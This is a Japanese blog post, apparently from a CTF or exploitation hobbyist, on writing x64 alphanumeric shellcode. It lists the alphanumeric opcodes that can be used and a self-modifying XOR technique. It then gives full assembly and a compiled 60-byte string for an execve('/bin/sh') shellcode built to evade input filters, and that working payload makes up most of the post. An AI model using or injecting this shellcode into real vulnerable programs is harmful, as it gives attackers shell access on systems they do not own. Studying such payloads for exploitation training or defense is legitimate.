読者です 読者をやめる 読者になる 読者になる

ブログ未満のなにか

ブログなのか誰にも分からない

x64 alphanumeric shellcodeを書く

はじめに

最近、x64でalphanumeric shellcodeを書く機会が増えてきた。その度に使える命令が何か調べ直して一から書いていて面倒だと感じたので、一旦まとめておく。 適当にググるLinux/x86-64 - Position independent & Alphanumeric execve("/bin/sh\0",NULL,NULL); Shellcode (87 bytes)が出てきたが、うまく動作しなかった。というか無駄なことが多いように感じたので、自分で書き直してみる。

使える命令

個人的に使えると思った命令。alphanumericな命令は他にもあるが、使えるのか良く分からんので載せていない。 pushはほぼ使える。ただしpopは、6種類のレジスタでしか使えない。system callを呼びたい場合は、rdi, rsiなどへの値の設定は必須となってくるのでキツイ。もちろんsyscallも使えない。

0x50: push   rax
0x51: push   rcx
0x52: push   rdx
0x53: push   rbx
0x54: push   rsp
0x55: push   rbp
0x56: push   rsi
0x57: push   rdi
0x4150: push r8
0x4151: push r9
0x4152: push r10
0x4153: push r11
0x4154: push r12
0x4155: push r13
0x4156: push r14
0x4157: push r15

0x58: pop    rax
0x59: pop    rcx
0x5a: pop    rdx
0x4158: pop r8
0x4159: pop r9
0x415a: pop r10

0x34XX: xor al, imm8
0x35XXYY: xor ax, imm16
0x35XXYYZZWW: xor eax, imm32
0x6aXX: push imm8
0x68XXYYZZWW: push imm32
xor DWORD PTR [r64 + imm8], r32 

よく使うパターン

shellcodeが走る領域はrwxな領域である場合が多く、不足する命令は実行中に生成すればいい。メモリに対するXORがあるので、これを用いて動的に所望の命令を作っていく。 また、shellcodeが呼ばれるときには、shellcodeの先頭を指すアドレスを持っているレジスタがいる場合が多い。それを一旦pushし、pop rcxでrcxへと持ってくることで、xor DWORD PTR [rcx + imm8], eaxが使える。xorなので、ある程度までは自由にメモリの書き換えができる。xor eax, imm32と組み合わせれば書き換えたいアドレスの下位32bit分は調節できるはず(確かめてない)。

よく使うパターンは、shellcodeの先頭を指すアドレスがrcxにあることを前提としている。例では、pop rsi, pop rdi, sycallを動的に作り出している。

push 0x41413030
pop rax
xor DWORD PTR [rcx+0x30], eax

※ [rcx+0x30] には0x444e6f6eが書き込まれている
0x30 ^ 0x6e = 0x5e == pop rsi
0x30 ^ 0x6f = 0x5f  == pop rdi
0x41 ^ 0x4e = 0x0f
0x41 ^ 0x44 = 0x05  \x0f\x05 == syscall

sys_execve(&‘/bin/sh’, NULL, NULL)

systemcallでexecveによるシェル起動ができるalphanumeric shellcodeを書いてみる。 x64では、raxにsystemcall番号、rdiに第一引数、rsiに第二引数、rdxに第3引数を設定する必要がある。 このshellcodeでは、raxに0x3b(59)、rdiに"/bin/sh"の先頭アドレス、rsiとrdxには0を設定している。call raxから呼び出されることを想定しているので、まずはpush raxをしている。shellcodeが呼び出された時にshellcodeの先頭アドレスを持っているレジスタならば何でも良いので、raxでは都合が悪いときは適宜変更してほしい。ちなみに2回pushしているのは安易なパッディングである。

これをコンパイルすると、PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAで60byteとなる。

/* from call rax */
push rax
push rax
pop rcx

/* XOR pop rsi, pop rdi, syscall */
push 0x41413030
pop rax
xor DWORD PTR [rcx+0x30], eax

/* XOR /bin/sh */
push 0x34303041
pop rax
xor DWORD PTR [rcx+0x34], eax
push 0x41303041
pop rax
xor DWORD PTR [rcx+0x38], eax

/* rdi = &'/bin/sh' */
push rcx
pop rax
xor al, 0x34
push rax

/* rdx = 0 */
push 0x30
pop rax
xor al, 0x30
push rax
pop rdx

push rax

/* rax = 59 (SYS_execve) */
push 0x41
pop rax
xor al, 0x7a

/* pop rsi, pop rdi*/
/* syscall */ 
.byte 0x6e
.byte 0x6f
.byte 0x4e
.byte 0x44

/* /bin/sh */
.byte 0x6e
.byte 0x52
.byte 0x59
.byte 0x5a
.byte 0x6e
.byte 0x43
.byte 0x5a
.byte 0x41

関連リンク

Linux/x86-64 - Position independent & Alphanumeric execve("/bin/sh\0",NULL,NULL); Shellcode (87 bytes) x86 alphanumeric shellcodeを書いてみる - ももいろテクノロジー http://www.intel.co.jp/content/dam/www/public/ijkk/jp/ja/documents/developer/248966-024JA.pdf